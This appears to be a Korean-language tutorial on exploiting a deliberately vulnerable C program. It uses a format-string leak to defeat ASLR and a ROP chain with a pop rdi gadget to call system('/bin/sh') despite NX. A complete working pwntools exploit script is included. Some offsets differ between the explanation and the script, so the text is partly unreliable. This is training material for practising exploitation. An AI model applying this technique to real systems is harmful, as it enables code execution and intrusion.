NX-bit binary exploit ( with ASLR )

#include <stdio.h>
  
void setup()
{
        setvbuf(stdin, 0, 2, 0);
        setvbuf(stdout, 0, 2, 0);
        setvbuf(stderr, 0, 2, 0);
}
 
int main(void)
{
        setup();
 
        char buf[0x100];
 
        printf("What's your name? : ");
        gets(buf); // Buffer Overflow 
 
        printf("Hello, ");
        printf(buf); // Format String Bug
        printf("!!!\n");
         
        printf("Last greeting : ");
        gets(buf);
        
        return 0;
}
 

1. 시스템 함수의 주소

pwndbg> p system 을 이용해서 시스템 함수의 주소를 찾는다.

시스템 함수의 주소 : 0x7fd557b134e0

 

 

---

 

2. 라이브러리의 시작 주소 (베이스 주소)

 

위에 두 줄은 컴파일 할 때 결정나는 부분이기 때문에 절대로 바뀌지 않는다. ASLR의 영향을 받지 않는다.

 

나머지는 실행하면서 결정되는 부분이어서 계속 바뀐다.

라이브러리 주소는 계속 바뀐다. (일정하지 않은 부분이라는 소리)

 

라이브러리의 시작 주소를 알면 모든 값의 주소를 알 수 있다. (원하는 함수를 호출, 원하는 걸 모두 쓸 수 있다)

 

 

 

 

---

 

3. 고정된 값 (오프셋)

 

 

위에 0.Format String Bug에서 확인했던 것처럼

system 함수는 libc 안에 있기 때문에

(시스템 함수의 주소) - (라이브러리의 주소) 는 항상 고정이다

 

위에서 구한 시스템 함수의 주소와 라이브러리의 시작 주소를 가지고 고정값을 찾는다.

 

(고정된 값) = (시스템 함수의 주소) - (라이브러리의 시작 주소)

 

pwndbg> p 0x7fcea87ae4e0 - 0x7fcea875f000

X = 324832이다.

324832를 hex로 바꾼 값을 구해보면

 

pwndbg> hex(324832)

X(hex) = 0x04f4e0 임을 알 수 있다.

 

---

4. rdi 구하기

gadget을 이용해서 rdi 값을 구한다.

rdi 값은 0x00000000004007a3이다.

 

 

---

5. Exploit code

from pwn import *
 
binary = "./test"
e = ELF(binary)
libc = e.libc
r = process(binary)
 
gdb.attach(r)
 
r.recvuntil("What's your name? : ")
r.sendline("%39$p")
 
 
r.recvuntil("Hello, ")
l = int(r.recv(14),16) - (libc.symbols["__libc_start_main"] + 240)
system = l + 0x0453a0 
sh = l + 0x18ce17
 
rdi = 0x00000000004007a3 # pop rdi ; ret
 
log.info("libc base : " + hex(l))
log.info("system : " + hex(system))
log.info("/bin/sh : " + hex(sh))
 
r.recvuntil("Last greeting : ")
r.sendline("A" * 0x108 + p64(rdi) + p64(sh) + p64(system))
 
 
r.interactive()